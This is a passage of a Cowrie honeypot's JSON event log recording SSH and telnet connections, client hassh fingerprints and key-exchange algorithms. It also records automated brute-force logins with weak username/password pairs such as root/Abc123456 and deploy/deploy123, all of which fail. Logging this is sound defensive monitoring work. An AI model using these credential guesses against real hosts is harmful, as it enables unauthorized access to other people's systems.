ssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:27.454834Z","src_ip":"176.65.132.129","session":"e323fa07a233","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.53077507019043,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:27.494657Z","src_ip":"38.60.198.128","session":"fab799565b80","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"student","password":"password","message":"login attempt [student/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:27.710325Z","src_ip":"176.65.132.129","session":"e323fa07a233","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:28.795725Z","src_ip":"176.65.132.129","session":"e323fa07a233","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60226,"dst_ip":"10.17.0.5","dst_port":22,"session":"6266c3977289","protocol":"ssh","message":"New connection: 176.65.132.129:60226 (10.17.0.5:22) [session: 6266c3977289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:30.960883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:30.965952Z","src_ip":"176.65.132.129","session":"6266c3977289","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:31.049175Z","src_ip":"176.65.132.129","session":"6266c3977289","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.687288522720337,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:31.075363Z","src_ip":"38.54.119.93","session":"6f65796e470c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"discordbot","password":"discordbot","message":"login attempt [discordbot/discordbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:31.297858Z","src_ip":"176.65.132.129","session":"6266c3977289","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.195.254.215","src_port":55372,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce244fb9df45","protocol":"ssh","message":"New connection: 199.195.254.215:55372 (10.17.0.5:22) [session: ce244fb9df45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:31.695313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:31.703164Z","src_ip":"199.195.254.215","session":"ce244fb9df45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:32.304824Z","src_ip":"199.195.254.215","session":"ce244fb9df45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:32.471351Z","src_ip":"176.65.132.129","session":"6266c3977289","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60242,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2e767b795d6","protocol":"ssh","message":"New connection: 176.65.132.129:60242 (10.17.0.5:22) [session: c2e767b795d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:34.306344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:34.311597Z","src_ip":"176.65.132.129","session":"c2e767b795d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:34.395436Z","src_ip":"176.65.132.129","session":"c2e767b795d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:34.646155Z","src_ip":"176.65.132.129","session":"c2e767b795d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sophia","password":"test123","message":"login attempt [sophia/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:34.654517Z","src_ip":"199.195.254.215","session":"ce244fb9df45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:35.732369Z","src_ip":"176.65.132.129","session":"c2e767b795d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:36.267599Z","src_ip":"199.195.254.215","session":"ce244fb9df45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43580,"dst_ip":"10.17.0.5","dst_port":22,"session":"e13fea6b9c66","protocol":"ssh","message":"New connection: 176.65.132.129:43580 (10.17.0.5:22) [session: e13fea6b9c66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:37.970670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:37.977386Z","src_ip":"176.65.132.129","session":"e13fea6b9c66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:38.066378Z","src_ip":"176.65.132.129","session":"e13fea6b9c66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:38.317988Z","src_ip":"176.65.132.129","session":"e13fea6b9c66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.222.14","src_port":49340,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ed4852649fa","protocol":"ssh","message":"New connection: 57.128.222.14:49340 (159.203.135.109:22) [session: 8ed4852649fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:38.820919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:38.825852Z","src_ip":"57.128.222.14","session":"8ed4852649fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:38.932952Z","src_ip":"57.128.222.14","session":"8ed4852649fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftp","password":"111111","message":"login attempt [sftp/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:39.386355Z","src_ip":"57.128.222.14","session":"8ed4852649fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:39.404785Z","src_ip":"176.65.132.129","session":"e13fea6b9c66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:40.494645Z","src_ip":"57.128.222.14","session":"8ed4852649fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43582,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1e0b24ef556","protocol":"ssh","message":"New connection: 176.65.132.129:43582 (10.17.0.5:22) [session: f1e0b24ef556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:41.366031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:41.370356Z","src_ip":"176.65.132.129","session":"f1e0b24ef556","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:41.455782Z","src_ip":"176.65.132.129","session":"f1e0b24ef556","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:41.713375Z","src_ip":"176.65.132.129","session":"f1e0b24ef556","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49458,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7538d6e0881","protocol":"telnet","message":"New connection: 38.54.119.93:49458 (10.17.0.5:23) [session: d7538d6e0881]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:41.893368Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:42.798218Z","src_ip":"176.65.132.129","session":"f1e0b24ef556","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":36042,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe446430ffa5","protocol":"telnet","message":"New connection: 64.227.82.147:36042 (159.203.135.109:23) [session: fe446430ffa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:44.032566Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43596,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7558f5aaaf2","protocol":"ssh","message":"New connection: 176.65.132.129:43596 (10.17.0.5:22) [session: b7558f5aaaf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:44.951596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:44.956881Z","src_ip":"176.65.132.129","session":"b7558f5aaaf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:45.039506Z","src_ip":"176.65.132.129","session":"b7558f5aaaf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:45.285857Z","src_ip":"176.65.132.129","session":"b7558f5aaaf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:46.385544Z","src_ip":"176.65.132.129","session":"b7558f5aaaf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36194,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2dda4539fcc","protocol":"telnet","message":"New connection: 38.60.198.128:36194 (159.203.135.109:23) [session: f2dda4539fcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:46.828566Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":36054,"dst_ip":"159.203.135.109","dst_port":23,"session":"57460a6d0e8e","protocol":"telnet","message":"New connection: 64.227.82.147:36054 (159.203.135.109:23) [session: 57460a6d0e8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:48.052045Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46744,"dst_ip":"10.17.0.5","dst_port":22,"session":"1897b9084a14","protocol":"ssh","message":"New connection: 176.65.132.129:46744 (10.17.0.5:22) [session: 1897b9084a14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:48.348122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:48.353146Z","src_ip":"176.65.132.129","session":"1897b9084a14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecds